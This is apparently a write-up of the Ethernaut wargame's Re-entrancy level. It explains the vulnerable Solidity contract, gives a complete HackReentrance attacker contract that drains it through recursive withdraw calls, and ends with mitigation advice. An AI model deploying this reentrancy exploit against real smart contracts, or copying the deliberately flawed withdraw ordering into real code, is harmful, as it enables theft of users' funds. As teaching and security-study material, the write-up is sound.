Ethernaut#10 - Re-entrancy

Ethernaut #10 - Re-entrancy

#10

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

Contract Breakdown

Let us breakdown the contract to understand what each function and piece of code does. The code consists of a single contract Reentrance compiled with solidity version ^0.6.12.

1
import 'openzeppelin-contracts-06/math/SafeMath.sol';

The contract imports the SafeMath library from OpenZeppelin for safe arithmetic operations.

Variables
1
2
using SafeMath for uint256;
mapping(address => uint) public balances;

The contract uses SafeMath for uint256 operations and has a public mapping balances that tracks each address’s deposited balance.

Functions
1
2
3
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

The donate function allows anyone to deposit ether into the contract on behalf of another address _to. It uses SafeMath’s add to update the balance.

1
2
3
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

A simple view function that returns the balance of a given address.

1
2
3
4
5
6
7
8
9
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

This is where the vulnerability lives. The withdraw function checks if the caller has enough balance, then sends the ether to msg.sender using a low-level call, and only after that does it update the balance. This ordering is the classic reentrancy bug.

1
receive() external payable {}

A simple receive function that allows the contract to accept ether.

Solution

This is the infamous reentrancy attack, the same type of vulnerability that was exploited in the 2016 DAO hack which led to the Ethereum hard fork.

The problem is that the contract sends ether before updating the balance. When the contract sends ether to an attacker contract via call, the attacker’s receive function gets triggered. Inside that receive function, the attacker can call withdraw again. Since the balance hasn’t been updated yet, the check balances[msg.sender] >= _amount still passes, and the contract sends ether again. This loop continues until the contract is drained.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}

contract HackReentrance {
IReentrance reentrance;
uint public amount;

constructor(address _reentranceAddress) public {
reentrance = IReentrance(_reentranceAddress);
}

function attack() external payable {
amount = msg.value;
reentrance.donate{value: amount}(address(this));
reentrance.withdraw(amount);
}

receive() external payable {
uint remainingBalance = address(reentrance).balance;
if (remainingBalance > 0) {
uint withdrawAmount = remainingBalance >= amount ? amount : remainingBalance;
reentrance.withdraw(withdrawAmount);
}
}
}

Steps to pass:

  • Check the balance of the Reentrance contract. You can do this with await getBalance(instance) in the Ethernaut console.
  • Copy the HackReentrance contract to Remix and compile it. Make sure to set the compiler version to 0.6.12.
  • Deploy it with the Reentrance instance address.
  • Call attack() with a value that evenly divides into the contract’s total balance (e.g., if the contract has 0.001 ether, send 0.001 ether).
  • The attack function donates our ether to give us a balance, then calls withdraw. When the ether arrives at our contract, our receive function calls withdraw again, and again, draining the contract completely.

To prevent reentrancy attacks, always follow the Checks-Effects-Interactions pattern: update state variables before making external calls. Alternatively, use a reentrancy guard (mutex) like OpenZeppelin’s ReentrancyGuard. The order should always be: check conditions, update state, then interact with external contracts.